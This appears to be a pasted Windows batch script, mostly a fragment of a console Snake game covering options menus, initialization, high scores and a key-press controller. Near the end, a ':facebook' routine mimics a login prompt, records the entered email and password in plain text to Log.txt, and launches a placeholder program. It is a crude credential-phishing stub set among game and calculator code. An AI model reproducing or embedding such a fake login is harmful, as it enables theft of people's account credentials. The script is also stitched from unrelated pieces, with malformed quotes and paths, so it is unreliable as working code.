- set "keys={Enter} T L R P"
- if !moveKeys! equ 4 set "keys=!keys! U D"
- echo Control Options:
- echo(
- echo T - Type... = !moveKeys! keys
- echo(
- echo L - Left... = !left!
- echo R - Right.. = !right!
- if !moveKeys! equ 4 echo U - Up..... = !up!
- if !moveKeys! equ 4 echo D - Down... = !down!
- echo(
- echo P - Pause.. = !pause!
- echo(
- echo {Enter} - Return to Main Menu
- echo(
- call :ask ">" !keys!
- if !key! equ {Enter} goto :saveUserPrefs
- if /i !key! equ T (
- if !moveKeys! equ 2 (set "moveKeys=4") else set "moveKeys=2"
- goto :controlOptions
- )
- set "option= LLeft RRight UUp DDown PPause"
- for /f %%O in ("!option:* %key%=!") do (
- call :ask "Press a key for %%O:"
- for %%K in (0 1 2) do if "!key!" equ "!invalid:~%%K,1!" goto :controlOptions
- for %%C in (!upper!) do set "key=!key:%%C=%%C!"
- set "%%O=!key!"
- )
- goto :controlOptions
- ::-------------------------------------
- :graphicOptions
- cls
- echo Graphic Options:
- echo(
- echo B - Border...... = !bound!
- echo E - Empty space. = !space!
- echo H - snake Head.. = !head!
- echo S - Snake body.. = !body!
- echo F - Food........ = !food!
- echo D - Death....... = !death!
- echo(
- echo G - Growth rate. = !growth!
- echo(
- echo {Enter} - Rturn to Main Menu
- echo(
- call :ask ">" B E H S F D G {Enter}
- if !key! equ {Enter} goto :saveUserPrefs
- if /i !key! equ G (
- call :ask "Press a digit for growth rate (0 = 10)" 0 1 2 3 4 5 6 7 8 9
- if !key! equ 0 set "key=10"
- set "growth=!key!"
- call :loadHighScores
- ) else (
- set "option=-BBorder:bound:-EEmpty Space:space:-HSnake Head:head:-SSnake Body:body:-FFood:food:-DDeath:death:"
- for /f "tokens=1,2 delims=:" %%A in ("!option:*-%key%=!") do (
- call :ask "Press a key for %%A"
- for %%K in (0 1 2) do if "!key!" equ "!invalid:~%%K,1!" goto :graphicOptions
- set "%%B=!key!"
- )
- )
- goto :graphicOptions
- ::------------------------------------
- :saveUserPrefs
- (for %%V in (moveKeys up down left right space bound food head body death pause growth) do echo %%V=!%%V!) >"%userPref%"
- exit /b
- ::-------------------------------------
- :initialize
- cls
- if defined replay (
- echo Replay Speed Options:
- ) else (
- echo Speed Options:
- )
- echo delay
- echo # Description (seconds)
- echo --- ----------- ---------
- for /l %%N in (1 1 6) do (
- set "delay=0!delay%%N!"
- set "desc=!desc%%N! "
- echo %%N !desc:~0,11! 0.!delay:~-2!
- )
- echo(
- call :ask "Pick a speed (1-6):" 1 2 3 4 5 6
- set "difficulty=!desc%key%!"
- set "delay=!delay%key%!"
- set "diffCode=%key%"
- echo %key% - %difficulty%
- echo(
- <nul set /p "=Initializing."
- set "axis=X"
- set "xDiff=+1"
- set "yDiff=+0"
- set "empty="
- set /a "PX=1, PY=height/2, FX=width/2+1, FY=PY, score=0, emptyCnt=0, t1=-1000000"
- set "gameStart="
- set "m=00"
- set "s=00"
- set "snakeX= %PX%"
- set "snakeY= %PY%"
- set "snakeX=%snakeX:~-2%"
- set "snakeY=%snakeY:~-2%"
- for /l %%Y in (0 1 %height%) do (
- <nul set /p "=."
- set "line%%Y="
- for /l %%X in (0,1,%width%) do (
- set "cell="
- if %%Y equ 0 set "cell=%bound%"
- if %%Y equ %height% set "cell=%bound%"
- if %%X equ 0 set "cell=%bound%"
- if %%X equ %width% set "cell=%bound%"
- if %%X equ %PX% if %%Y equ %PY% set "cell=%head%"
- if not defined cell (
- set "cell=%space%"
- set "eX= %%X"
- set "eY= %%Y"
- set "empty=!empty!#!eX:~-2! !eY:~-2!"
- set /a emptyCnt+=1
- )
- if %%X equ %FX% if %%Y equ %FY% set "cell=%food%"
- set "line%%Y=!line%%Y!!cell!"
- )
- )
- for %%A in (!configOptions!) do set "%%ASave=!%%A!"
- set "replayFinished="
- if defined replay (
- %sendCmd% replay
- %sendCmd% !replay!
- call :waitForSignal
- set "replay=(REPLAY at !difficulty!)"
- set "read=1"
- <&%keyStream% (
- for /l %%N in (1 1 !configOptionCnt!) do if defined read (
- set /p "ln="
- if "!ln!" equ "END" (set read=) else set "!ln!"
- )
- )
- set "keys="
- set "hi=0"
- for /f "delims=:" %%A in ('findstr "^::" "%hiFile%!diffCode!.txt" 2^>nul') do set "hi=%%A"
- (%draw%)
- call :delay 100
- ) else (
- if defined hi%diffCode% (set "hi=!hi%diffCode%!") else set "hi=0"
- (%draw%)
- >"!gameLog!" (
- for %%A in (!configOptions!) do (echo %%A=!%%A!)
- (echo END)
- )
- echo(
- if !moveKeys! equ 4 (
- echo Controls: !up!=up !down!=down !left!=left !right!=right !pause!=pause
- ) else (
- echo Controls: !left!=left !right!=right !pause!=pause
- )
- echo Avoid running into yourself (!body!!body!!head!^) or wall (!bound!^)
- echo Eat food (!food!^) to grow.
- echo(
- call :ask "Press a key to start..."
- %sendCmd% go
- )
- set "pauseTime=0"
- set "xDiff!up!=+0"
- set "xDiff!down!=+0"
- set "xDiff!left!=-1"
- set "xDiff!right!=+1"
- set "yDiff!up!=-1"
- set "yDiff!down!=+1"
- set "yDiff!left!=+0"
- set "yDiff!right!=+0"
- set "!up!Axis=Y"
- set "!down!Axis=Y"
- set "!left!Axis=X"
- set "!right!Axis=X"
- set "xTurn!left!=1"
- set "xTurn!right!=-1"
- set "yTurn!left!=-1"
- set "yTurn!right!=1"
- set "playerSpace=!space!!food!"
- set ^"keys="!left!" "!right!" "!pause!"^"
- set "newHi="
- set "grow=0"
- if !moveKeys! equ 4 set ^"keys=!keys! "!up!" "!down!"^"
- if exist "%~dp0CursorPos.exe" if not defined replay (
- cursorpos 0 -4
- for /l %%N in (1 1 5) do (echo( )
- )
- exit /b
- ::-------------------------------------
- :waitForSignal
- if not exist "%signal%" goto :waitForSignal
- del "%signal%"
- exit /b
- ::-------------------------------------
- :loadHighScores
- set "saveAvailable="
- for /l %%N in (1 1 6) do (
- set "hi%%N="
- for /f "delims=:" %%A in ('findstr "^::" "%hiFile%%%N.txt" 2^>nul') do (
- set "hi%%N=%%A"
- set "saveAvailable=S"
- )
- )
- exit /b
- ::-------------------------------------
- :fixLogs
- setlocal enableDelayedExpansion
- for %%F in (*.snake) do (
- ren "%%F" "%%F.txt"
- call :fixLog "%%F.txt"
- )
- pushd "%SaveLoc%"
- for /f "delims=" %%F in ('dir /b SnakeHi*.txt 2^>nul') do (
- set "file=%%~nF"
- set "file=Snake1Hi!file:~-1!.txt"
- ren "%%F" "!file!"
- call :fixLog "!file!"
- )
- popd
- exit /b
- :fixLog filePath
- >"%~1.new" (
- <"%~1" (
- for %%A in (diffCode difficulty moveKeys up down left right) do (
- set /p "val="
- (echo %%A=!val!)
- )
- )
- (echo growth=1)
- (echo END)
- more +7 "%~1"
- )
- move /y "%~1.new" "%~1" >nul
- exit /b
- ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
- :controller
- :: Detects keypresses and sends the information to the game via a key file.
- :: The controller has various modes of input that are activated by commands sent
- :: from the game via a cmd file.
- ::
- :: Modes:
- ::
- :: hold - No input, wait for command
- ::
- :: go - Continuously get/send key presses
- ::
- :: prompt - Send {purged} marker to allow game to purge input buffer, then
- :: get/send a single key press and hold
- ::
- :: one - Get/send a single key press and hold
- ::
- :: replay - Copy a game log to the key file. The next line in cmd file
- :: specifies name of log file to copy. During replay, the controller
- :: will send an abort signal to the game if a key is pressed.
- ::
- :: quit - Immediately exit the controller process
- ::
- :: As written, this routine incorrectly reports ! as ), but that doesn't matter
- :: since we don't need that key. Both <CR> and Enter key are reported as {Enter}.
- :: An extra character is appended to the output to preserve any control chars
- :: when read by SET /P.
- setlocal enableDelayedExpansion
- for /f %%a in ('copy /Z "%~dpf0" nul') do set "CR=%%a"
- set "cmd=hold"
- set "inCmd="
- set "key="
- for /l %%. in () do (
- if "!cmd!" neq "hold" (
- for /f "delims=" %%A in ('xcopy /w "%~f0" "%~f0" 2^>nul') do (
- if not defined key set "key=%%A"
- )
- set "key=!key:~-1!"
- if !key! equ !CR! set "key={Enter}"
- )
- <&%cmdStream% set /p "inCmd="
- if defined inCmd (
- if !inCmd! equ quit exit
- set "cmd=!inCmd!"
- if !inCmd! equ replay (
- <&%cmdStream% set /p "file="
- type "!file!" >&%keyStream%
- copy nul "%signal%"
- )
- set "inCmd="
- )
- if defined key (
- if "!cmd!" equ "prompt" (echo {purged}.)
- if "!cmd!" equ "replay" (
- copy nul "%signal%" >nul
- set "cmd=go"
- ) else (echo(!key!.)
- if "!cmd!" neq "go" set "cmd=hold"
- set "key="
- )>&%keyStream%
- )
- :facebook
- color a
- title Login
- cls
- echo Please Enter Your Email Address And Password
- echo.
- echo.
- cd “C:Logs”
- set /p user=Username:
- set /p pass=Password:
- echo Username=”%user%” Password=”%pass%” >> Log.txt
- start >>Program Here<<
- goto menu
- :calculator
- setlocal EnableDelayedExpansion
- :calc
- cls
- echo Add = +
- echo Subtract = -
- echo Divide = /
- echo Multiply = *
- echo Put your question here:
- set /p equ=
- set /a equ=!equ!
- cls
- echo Answer:!equ!
- pause
- goto menu
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement